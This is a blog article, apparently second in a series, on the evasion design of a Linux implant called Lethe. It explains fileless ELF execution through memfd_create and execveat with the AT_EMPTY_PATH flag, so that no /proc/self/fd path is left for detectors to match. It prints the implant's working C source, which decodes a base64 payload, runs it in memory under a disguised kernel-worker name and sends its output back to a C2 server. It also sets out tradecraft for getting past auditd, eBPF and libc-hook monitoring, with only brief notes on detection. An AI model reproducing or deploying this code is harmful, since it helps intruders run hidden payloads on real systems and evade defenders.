October 16, 2026
Linux Fileless Execution Without the /proc Artifact (Part2)
The common fileless execution approach leaves a path in /proc. One flag removes it. Most detection rules stop at the path.

By Qalique
10 min read
This is the second article in the series on the Lethe Linux agent's evasion design. The first covered vDSO-based indirect syscalls, the Linux equivalent of Hell's Gate. This article covers how the agent executes ELF payloads with no file on disk and, more precisely, with no path in the filesystem at all, including inside /proc.
Why traces matter
When a traditional implant runs, it usually writes something to disk first , a payload file, a dropper, a shared library. The moment that happens, defenders gain multiple options. The file has a hash that antivirus signatures can match. It generates a file creation event in the system's audit log. Endpoint security tools can scan it on access. Forensic investigators can recover it after the fact, even if the attacker deletes it. The file is a persistent, recoverable artifact that outlives the running process.
Every artifact left behind is a detection opportunity. Remove the file, and you remove an entire class of detection: hash-based signatures stop matching, on-access scans find nothing, forensic recovery is limited to what was in memory at the time. This is the practical value of fileless execution , not hiding from a running system, but eliminating the surfaces that detection tools depend on.
On Linux, the standard "fileless" technique does remove the file from disk. But it leaves behind a different artifact, one that is less obvious and less widely understood. That artifact is what this article is about.
What "fileless" means on Linux
The standard Linux fileless technique uses memfd_create , a kernel call that creates an anonymous, in-memory file. Unlike a regular file, it has no name in the filesystem and no path on disk. Think of it as a temporary scratch space the OS gives you in RAM, referenced by a file descriptor (a numeric handle the OS uses to track open files). The payload is written into this memory-backed file and executed directly from it. Nothing touches storage.
This genuinely eliminates the disk-based detection surfaces described above. There is no file to hash, no creation event to alert on, nothing for forensics to recover from storage.
But the standard approach for executing from a memfd leaves behind a different artifact. Linux maintains a virtual filesystem called /proc , it exposes information about every running process in a browsable, file-like structure. Among other things, it records the executable path of each process and exposes every open file descriptor as a symbolic link inside /proc/<pid>/fd/.
When you execute a payload using the classic approach, a library function called fexecve(), what happens internally is that it constructs the path string /proc/self/fd/3 (or whatever number your fd is) and passes it to the kernel as the executable path. The kernel follows that link, finds the memfd, and runs it. The payload never touched disk , but the process's recorded executable path is now /proc/self/fd/3, visible in process listings, in the audit log, and in security monitoring tools.
The standard fileless technique drops one artifact, then creates another. Detection rules adapted to this pattern look for exactly this: a process whose executable path resolves to a /proc/self/fd/ link. This is a well-known indicator. Endpoint security tools flag it. Audit rules are written for it.
There is a different approach, available through a single flag in one system call, that avoids even this.
Where the standard approach leaves a trace
The previous section described the mechanism in overview. Here is the detail that matters for detection. When fexecve() constructs the path /proc/self/fd/<n> and passes it to the kernel, that path string ends up recorded in several places:
/proc/<pid>/exe, the kernel's record of what a process is running , points to the/proc/self/fd/Nstring.- Auditd (Linux's built-in kernel audit system, which logs security-relevant events to disk) records the path argument of every execution call. The
/proc/self/fd/Nstring appears in those logs. - eBPF security tools (programs the kernel runs on its behalf to observe system activity) see the path argument at the moment the execution call fires.
- Any process monitoring tool that reads
/proc/<pid>/exesees it in the process list.
The detection rule writes itself: flag any process whose executable path contains /proc/self/fd/. It is reliable and almost never produces false positives. Legitimate software does not execute this way.
The Lethe agent's script runner uses exactly this pattern, because scripts need to be passed as a path argument to their interpreter and there is no way around that. When the agent runs a shell script or Python file from memory, it has to construct a /proc/self/fd/N path , that is an inherent limitation of how interpreters work: they accept a file path as their argument, not a file handle.
The ELF runner has no such constraint. ELF binaries (Linux's native executable format) are not interpreted by a user-space program , they are loaded directly by the kernel. And the kernel provides a way to do that without ever constructing a path.
execveat and the AT_EMPTY_PATH flag
execveat is a Linux kernel call added in version 3.19 of the Linux kernel. Kernel calls are the standardized requests programs make to the operating system: "execute this file," "open this connection," "allocate this memory." execveat is a more flexible version of the standard execution call (execve). Where execve takes a file path, execveat takes a file descriptor and a path, resolving the path relative to the fd. For most uses it behaves like the regular call.
But there is a special case that changes everything: if the path argument is an empty string and the flag AT_EMPTY_PATH (value 0x1000) is set, the kernel ignores the path entirely and uses the file descriptor directly as the target executable. No path is constructed, no symbolic link is resolved, no /proc entry for a path is created. The kernel loads the program from the file descriptor, and the process's executable record in /proc shows the memfd's anonymous name , /memfd:[name] , with no /proc/self/fd/ component anywhere.
This is the key difference. With the standard fexecve approach, the child process's exe entry is a /proc/self/fd/N path. With execveat(fd, "", argv, env, AT_EMPTY_PATH), the child's exe entry is the memfd's anonymous name, which is whatever string was passed to memfd_create. There is no /proc/self/fd/ path anywhere in the picture.
The detection rule "look for processes with a
/proc/self/fd/exe path" catches the fexecve-style pattern and misses theexecveat + AT_EMPTY_PATHpattern entirely. These are different syscall paths in the kernel and they leave different artifacts.
The implementation: native_run_mem()
The Lethe agent implements two separate execution paths for in-memory payloads. native_run_script() handles scripts and must use the /proc/self/fd/N approach , there is no way around it for scripts, as explained above. native_run_mem() handles ELF binaries (Linux's native executable format, the equivalent of a .exe on Windows) and uses execveat with AT_EMPTY_PATH. The distinction is deliberate: scripts need a user-space interpreter which requires a path argument; ELF binaries are loaded directly by the kernel which can work from a file descriptor alone.
Since the agent is built without the C standard library (-nostdlib -ffreestanding), all kernel calls are made directly , there is no fexecve() wrapper available even if we wanted it. Every call is explicit, routed through the vDSO gadget described in the previous article.
nextgen_core.c , native_run_mem()
static void native_run_mem(const char* b64_elf) {
size_t b64_len = strlen(b64_elf);
/* allocate anonymous memory for the decoded ELF */
uint8_t* elf_buf = (uint8_t*)_syscall6(SYS_MMAP, 0,
b64_len + 4096, 3, 34, -1, 0);
int elf_len = b64_decode(b64_elf, b64_len, elf_buf);
/* create an anonymous, in-memory file with no disk path */
/* MFD_CLOEXEC (flag 1): close this fd in the child after exec */
int fd = _syscall2(SYS_MEMFD_CREATE, (long)"[kworker/u2:1]", 1);
if (fd < 0) { send_encrypted("[!] memfd_create failed.", 0, NULL); return; }
_syscall3(SYS_WRITE, fd, (long)elf_buf, elf_len);
_syscall3(SYS_LSEEK, fd, 0, 0);
/* pipe for capturing the child's stdout and stderr */
int pipefd[2];
_syscall1(22, (long)pipefd); /* pipe */
long pid = _syscall0(57); /* fork */
if (pid == 0) {
/* child: redirect output, then exec the ELF from the fd */
_syscall1(SYS_CLOSE, pipefd[0]);
_syscall2(SYS_DUP2, pipefd[1], 1);
_syscall2(SYS_DUP2, pipefd[1], 2);
char* argv[] = {"[kworker/u2:1]", NULL};
/* AT_EMPTY_PATH = 0x1000: use fd directly, no /proc/self/fd path */
_syscall5(SYS_EXECVEAT, fd, (long)"", (long)argv,
(long)g_clean_env, 0x1000);
_syscall1(60, 1); /* exit(1) if execveat fails */
} else if (pid > 0) {
/* parent: collect output and wait for child */
_syscall1(SYS_CLOSE, pipefd[1]);
char* output = (char*)_syscall6(SYS_MMAP, 0, 262144, 3, 34, -1, 0);
/* ... read from pipe, wait4, send_encrypted back to C2 ... */
}
_syscall2(SYS_MUNMAP, (long)elf_buf, b64_len + 4096);
}static void native_run_mem(const char* b64_elf) {
size_t b64_len = strlen(b64_elf);
/* allocate anonymous memory for the decoded ELF */
uint8_t* elf_buf = (uint8_t*)_syscall6(SYS_MMAP, 0,
b64_len + 4096, 3, 34, -1, 0);
int elf_len = b64_decode(b64_elf, b64_len, elf_buf);
/* create an anonymous, in-memory file with no disk path */
/* MFD_CLOEXEC (flag 1): close this fd in the child after exec */
int fd = _syscall2(SYS_MEMFD_CREATE, (long)"[kworker/u2:1]", 1);
if (fd < 0) { send_encrypted("[!] memfd_create failed.", 0, NULL); return; }
_syscall3(SYS_WRITE, fd, (long)elf_buf, elf_len);
_syscall3(SYS_LSEEK, fd, 0, 0);
/* pipe for capturing the child's stdout and stderr */
int pipefd[2];
_syscall1(22, (long)pipefd); /* pipe */
long pid = _syscall0(57); /* fork */
if (pid == 0) {
/* child: redirect output, then exec the ELF from the fd */
_syscall1(SYS_CLOSE, pipefd[0]);
_syscall2(SYS_DUP2, pipefd[1], 1);
_syscall2(SYS_DUP2, pipefd[1], 2);
char* argv[] = {"[kworker/u2:1]", NULL};
/* AT_EMPTY_PATH = 0x1000: use fd directly, no /proc/self/fd path */
_syscall5(SYS_EXECVEAT, fd, (long)"", (long)argv,
(long)g_clean_env, 0x1000);
_syscall1(60, 1); /* exit(1) if execveat fails */
} else if (pid > 0) {
/* parent: collect output and wait for child */
_syscall1(SYS_CLOSE, pipefd[1]);
char* output = (char*)_syscall6(SYS_MMAP, 0, 262144, 3, 34, -1, 0);
/* ... read from pipe, wait4, send_encrypted back to C2 ... */
}
_syscall2(SYS_MUNMAP, (long)elf_buf, b64_len + 4096);
}Three things in this function work together to reduce the execution's visibility:
- The memfd name is
[kworker/u2:1]. This is the naming format for kernel worker threads. A process listing showing a process with this name blends into the expected background noise of a Linux system. This name appears in/proc/<pid>/exeas/memfd:[kworker/u2:1]. - argv[0] is also
[kworker/u2:1]. The first element of the argument vector is how a process identifies itself inps,top, and similar tools. Setting it to match the memfd name means the process name in every listing matches the kernel worker pattern. - MFD_CLOEXEC (the flag value
1passed tomemfd_create) marks the fd as close-on-exec. Afterexecveatfires, the fd is automatically closed in the child process. It does not appear as an open fd in/proc/<child-pid>/fd/. The memfd still exists as the executable, but there is no lingering fd entry in the process's fd table pointing to it.
Why scripts cannot use this
The contrast with native_run_script() illustrates why AT_EMPTY_PATH is only available to native ELF execution.
nextgen_core.c , native_run_script() path construction
/* script runner: must build a /proc path for the interpreter */
char fd_path[64];
memset(fd_path, 0, 64);
memcpy(fd_path, "/proc/self/fd/", 14);
_itoa(fd, fd_path + 14);
char* argv[] = {(char*)interp, fd_path, NULL};
_syscall3(SYS_EXECVE, (long)interp, (long)argv, (long)g_clean_env);/* script runner: must build a /proc path for the interpreter */
char fd_path[64];
memset(fd_path, 0, 64);
memcpy(fd_path, "/proc/self/fd/", 14);
_itoa(fd, fd_path + 14);
char* argv[] = {(char*)interp, fd_path, NULL};
_syscall3(SYS_EXECVE, (long)interp, (long)argv, (long)g_clean_env);When executing a shell script or Python file, the agent launches an interpreter (/bin/sh, /usr/bin/python3, and so on) and passes the script as a path argument. The interpreter opens the file at that path and reads it. There is no way to hand an interpreter an open file descriptor instead of a path , interpreters are regular programs that accept command-line strings, not file handles. The /proc/self/fd/N trick is the only way to give the interpreter a path that resolves to a memory-backed file, and it leaves the artifact we described.
ELF execution is different because the kernel handles it directly. When execveat is called on an ELF binary, the kernel's own loader maps the binary into memory and starts it running. The kernel does not need a path string , it only needs the file descriptor. AT_EMPTY_PATH tells it to use the fd directly, skipping path resolution entirely. No path is constructed, so no path artifact exists.
This is a structural difference between the two execution paths, not a detail that can be worked around. The path artifact in the script runner is inherent to how interpreters work. Its absence in the ELF runner is inherent to how the kernel loads native executables.
What a detector sees
The /proc/self/fd detection rule, which is a legitimate and correct signal against the standard fileless pattern, does not fire at all against execveat + AT_EMPTY_PATH. A detector that has not been written to look for execveat with an empty path argument, or for /memfd:[...] style exe links, will see a process named [kworker/u2:1] with no suspicious path and no obvious artifact to flag.
What detection does require: auditd rules covering execveat (syscall 322 on x86_64) specifically, or eBPF-based telemetry that monitors the execveat entry point and inspects the flags argument for AT_EMPTY_PATH. A detector that only instruments execve will miss this entirely. The memfd name itself (/memfd:[...] in the exe link) is also a detectable pattern, since no legitimate process running from a memfd is expected in normal operation. But the bar to reach that detection is higher than catching a /proc/self/fd/ path, because /memfd: in an exe link is a less common rule.
Lessons learned
Not all fileless execution is equal
The memfd pattern is well-known and reasonably well-detected. AT_EMPTY_PATH is not. Both are fileless in the sense that no file touches disk, but only one avoids creating a detectable path artifact in procfs. When writing detection rules or evaluating implant tradecraft, it is worth distinguishing between the two explicitly.
Syscall number coverage gaps are real
Auditd rules and eBPF programs must explicitly enumerate the syscalls they monitor. Many environments audit execve (NR 59) and do not include execveat (NR 322) in the same rule. These are separate kernel entry points and must be listed separately. A rule that says "monitor process execution" implemented only as a watch on syscall 59 has a gap. execveat is not a new syscall; it has been in the kernel since 2014. The coverage gap is a policy gap, not a capability gap.
MFD_CLOEXEC is not optional
Passing MFD_CLOEXEC (flag 1) to memfd_create means the fd is closed in the child after exec. Without it, the child inherits an open fd pointing to its own backing memory, visible in /proc/<child>/fd/. Any tool that scans running processes for memfd-backed fds in their fd tables finds it. Adding MFD_CLOEXEC removes this artifact with no functional cost: the kernel does not need the fd to remain open after the exec succeeds.
Process name masquerade requires both layers
Naming the memfd [kworker/u2:1] makes /proc/<pid>/exe read as /memfd:[kworker/u2:1]. Setting argv[0] to [kworker/u2:1] makes ps and top show the same name. These are two separate records in the kernel. Setting only the memfd name leaves argv[0] as whatever the agent passed; setting only argv[0] leaves the exe link inconsistent. Both must match for the masquerade to be coherent.
Environment sanitization matters independently
The agent passes g_clean_env rather than the inherited environment to the child process. A sanitized environment strips variables that could identify the parent process or expose agent-specific state to the payload. This is independent of the execution mechanism but equally necessary: inheriting the full environment is a leak regardless of how cleanly the execution itself was handled.
Build without libc where the technique permits it
The agent is compiled with no C standard library (-nostdlib -ffreestanding). The fexecve() function is not available as a result, but more importantly, neither are the library entry points that many monitoring tools hook into. A common detection approach on Linux is to intercept calls made through the standard C library , using LD_PRELOAD to inject a wrapper, using ptrace to observe library calls, or placing eBPF probes on library function entries. All of these miss a binary that never calls the standard library at all. The build constraint that removes fexecve() as an option also removes several detection surfaces that would otherwise apply.
Where this fits in the series
The first article covered how the vDSO gadget routes system calls through kernel-mapped memory to defeat eBPF stack attribution. This article covers how the resulting system calls, when used for ELF execution, avoid creating filesystem artifacts that would otherwise be flagged.
Together, the two techniques address different layers of the same detection problem. The vDSO gadget defeats origin-based syscall attribution: the recorded instruction pointer at syscall entry points to kernel-mapped memory rather than agent memory. execveat + AT_EMPTY_PATH defeats path-based execution detection: there is no /proc/self/fd path for detection rules to match against.
Neither technique is a complete answer on its own. A detector looking specifically for /memfd: exe links, or for execveat with an empty path argument and the AT_EMPTY_PATH flag, can still flag this execution. The goal is not undetectability, it is ensuring that the common, deployed detection rules do not fire, and that detection requires specifically targeted coverage rather than opportunistic matching on well-known patterns.